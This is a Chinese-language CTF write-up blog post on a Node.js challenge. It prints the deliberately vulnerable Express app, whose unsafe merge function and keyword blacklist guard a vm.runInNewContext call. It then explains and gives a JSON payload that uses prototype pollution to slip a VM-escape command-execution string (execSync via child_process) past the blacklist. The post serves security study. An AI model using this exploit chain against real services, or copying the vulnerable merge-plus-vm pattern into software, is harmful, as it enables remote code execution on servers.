CTF

四川省安恒杯的一题nodejs(原型参数污染+VM逃逸)

Posted on 2020-07-03,5 min read
var express = require('express');
var app = express();
var path = require('path');
var http = require('http');
var fs = require('fs');
var crypto = require('crypto');
var multer = require('multer');
const vm = require("vm");
var bodyParser = require('body-parser');
app.use(bodyParser());
app.use(bodyParser.json());
app.use('/uploads', express.static('uploads'))

var lastlogs = {};

function getClientIp(req) {
    return req.headers['x-forwarded-for'] ||
    req.connection.remoteAddress ||
    req.socket.remoteAddress ||
    req.connection.socket.remoteAddress;
};

function getSandbox(req){
    var ip = getClientIp(req);
    //console.log(ip);
    var content = ip + 'secret';
    var result = crypto.createHash('md5').update(content).digest("hex");
    return result
}

function merge(target, source) {
    try{
        for (let key in source) {
            if (typeof source[key] == 'object' && typeof target[key] == 'object' && key in source && key in target) {
                merge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    catch (e) {
        console.log(e);
    };
}


function blacklist(data) {
    var evilwords = ["proto", "constructor", "this", "global", "process","mainModule","require","root","child_process","exec","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        var trigger = data.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
    return false;
}

app.get('/', function(req, res) {
    res.sendFile(path.join(__dirname + '/index.js'));
});

function filterBody(obj){
    var s = JSON.stringify(obj);
    if(blacklist(s)){
        return false;
    }
    return true;
}

app.get('/calc', function(req, res){
    var sandbox = getSandbox(req);
    res.json(lastlogs[sandbox]);
});

app.get('/sandbox', function(req, res){
    var sandbox = getSandbox(req);
    res.end(sandbox);
});


app.post('/calc', function(req, res, next){
    try{
        var sandbox = getSandbox(req);
        var code = req.body.code;
        if(code.hasOwnProperty(sandbox) && !filterBody(code[sandbox])){
            res.end('forbidden');
        }
        else{
            if(sandbox in code){
                var log = {"time":new Date().toString()};
                merge(log, code);
                lastlogs[sandbox] = log;
                const result = vm.runInNewContext(code[sandbox]);
                res.end(result);
            }
            else{
                res.end(sandbox);
            }
        }
    }
    catch(e){
        next(e)
    }
});



app.use(function (err, req, res, next) {
  console.log(err.stack);
  res.status(500).send('Some thing broke!')
})


var server = app.listen(8085, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

就两个路由
一个是sandbox。会输出你的沙盒名
一个是calc。接受json的code。
继续看函数。
存在merge函数。。原型参数污染
存在黑名单检测。并且calc会用VM执行代码。逃逸
大致就这个方向。继续仔细看看代码。主要看calc

app.post('/calc', function(req, res, next){
    try{
        var sandbox = getSandbox(req);
        //我们的沙盒
        var code = req.body.code;
        //一个json数组。提交{"code":1}。code的值就是1
        if(code.hasOwnProperty(sandbox) && !filterBody(code[sandbox])){
            //如果有沙盒这个属性名。并且code.沙盒的值不可以过黑名单
            res.end('forbidden');
        }
        else{
            //判断沙盒名是否在code中
            if(sandbox in code){
                var log = {"time":new Date().toString()};
                //log={时间}
                merge(log, code);
                //这里可以将code的属性给log
                lastlogs[sandbox] = log;
                //lastlogs[沙盒]=log
                const result = vm.runInNewContext(code[sandbox]);
                //执行(code.沙盒)
                res.end(result);
            }
            else{
                res.end(sandbox);
            }
        }
    }
    catch(e){
        next(e)
    }
});

这里目标就是将code的沙盒的值为我们的VM逃逸payload。但是由于黑名单。我们不能这样直接传。
应该还能配合一手原型参数污染。跟着payload看。比较容易

{"code":{"1b8e8ed22326eea36453def591194e48":12,"__proto__":{"1b8e8ed22326eea36453def591194e48":"var process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('ls').toString()"}}}

先传入"1b8e8ed22326eea36453def591194e48":123。绕过filterBody的过滤。然后利用原型参数污染。将payload。赋值给log.__proto__.1b8e8ed22326eea36453def591194e48也就是Object.1b8e8ed22326eea36453def591194e48
然后由于code确实存在1b8e8ed22326eea36453def591194e48属性。值为123.继续执行
然后执行123。但是此时。Object.1b8e8ed22326eea36453def591194e48已经为我们的VM逃逸payload

{"code":[]}
随便传一个都行。只要__proto__是Object就行

由于原型参数污染。可以过if(sandobx in code)。找不到[]的1b8e8ed22326eea36453def591194e48属性。就往上找。找Object。然后找到1b8e8ed22326eea36453def591194e48这个属性
然后继续走。
执行code.sandbox中的代码。由于code没1b8e8ed22326eea36453def591194e48这个属性。所以会往上找。找到Object.1b8e8ed22326eea36453def591194e48。然后取出我们的payload。带入执行

下一篇: [Zer0pts2020]urlapp(CRLF+Redis)→